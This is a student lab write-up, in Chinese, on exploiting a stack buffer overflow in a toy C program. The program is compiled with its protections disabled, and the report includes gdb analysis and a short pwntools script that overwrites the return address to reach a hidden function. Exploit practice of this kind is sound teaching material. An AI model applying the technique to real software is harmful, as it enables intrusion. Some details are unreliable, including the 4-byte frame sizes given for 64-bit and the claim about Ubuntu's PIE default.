漏洞实验3—栈溢出
实验3:栈溢出
1. 实验条件
Linux虚拟机(Kali)
源文件(stack22.c)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int hackhere(){
printf("Congratulations! You hacked me now.\n");
}
int foo(){
printf("Wrong username!\n");
}
int main(){
char num[14];
char username[14];
printf("Give me your username:\n");
scanf("%s",username);
if(strlen(username)==4 && !strcmp(username,"admin")){
hackhere();
}
else{
foo();
}
}
2. 实验原理
通过向已申请好的定长数组中,利用scanf函数输入过长的字符串导致覆盖返回地址,从而令程序跳转到其他函数进行执行。
3. 实验要求
- 提交漏洞pwntools利用脚本
.py
格式,说明pwntools利用脚本的功能含义。 - 通过gdb调试,详细截图说明漏洞利用栈溢出的过程。
- 提交成功执行hackhere函数显示
Congratulations! You hacked me now.
结果截图。 - 采用屏幕截图,需要添加自己姓名的水印信息。
4. 实验步骤
对
stack22.c
进行编译,并关闭栈保护、NX保护和编译器地址随机化保护。1
gcc stack22.c -o stack22 -m64 -fno-stack-protector -no-pie -z execstack
-fno-stack-protector
为关闭Canary保护,确保栈溢出可执行,-z execstack
为打开栈的可执行权限,-no-pie
关闭编译器地址随机化,-o
表示输出源文件的名称。利用checksec工具来验证保护机制是否关闭,并可以得知其为64位小端存储。
1
checksec --file=stack22
将生成的执行文件stack22拖入64位的idea中,反编译查看其结构。
可以看到其若想通过正常的代码执行跳到hackhere函数中是不可能的,但是可以利用scanf存入的定长字符串造成溢出,从而跳转到hackhere函数地址。
利用gdb查看hackhere函数的地址。
1
2gdb stack22
disass hackhere获取到hackhere函数地址为
0x401152
。b main
在main函数处设置断点,gdb动态调试查看其数组存储位置,输入r
开始调试,一直输入n
步过,直到scanf处输入字符串,向其中输入deadbeef
。stack 50
查看deadbeef
在栈中存储情况。可以看到
beef
存储地址位置为0x7fffffffdea8
,但是缺少dead
的存储,可以猜测其实存在上面的地址中,并占据了4字节的长度。因此字符串存储的起始位置为0x7fffffffdea4
,终止位置为0x7fffffffdebf
,后面接了4字节的rbp回调地址,之后的4字节长度为返回地址,因此需要将此处的地址溢出覆盖为hackhere的地址即可实现调用hackhere。编写python脚本。
1
2
3
4
5
6
7
8from pwn import *
p = process('./stack22')
hackhere_addr = 0x401152
payload = b'A' * 36 + p64(hackhere_addr)
p.recv()
p.sendline(payload)
p.interactive()b'A' * 36
:通过之前分析,需要将字符串溢出到返回地址,因此由0xdec8 - 0xdea4
得到需要填充的字符数量。只要再将hackhere函数地址填在后方即可实现跳转。p64()
:将数字转化为64位的字符表示形式。p.recv()
:可以接收程序输出的内容。p.sendline()
:向程序中输入内容。p.interactive()
:实现与程序交互。
运行脚本,查看结果。
5. 实验总结
此次实验相交于上一个ROP实验来说较为简单,但是之前存在一直没有做通的情况,其实是因为没有关闭PIE保护机制,而在Ubuntu中默认是关闭的,所以导致实验一直不能获取真实地址。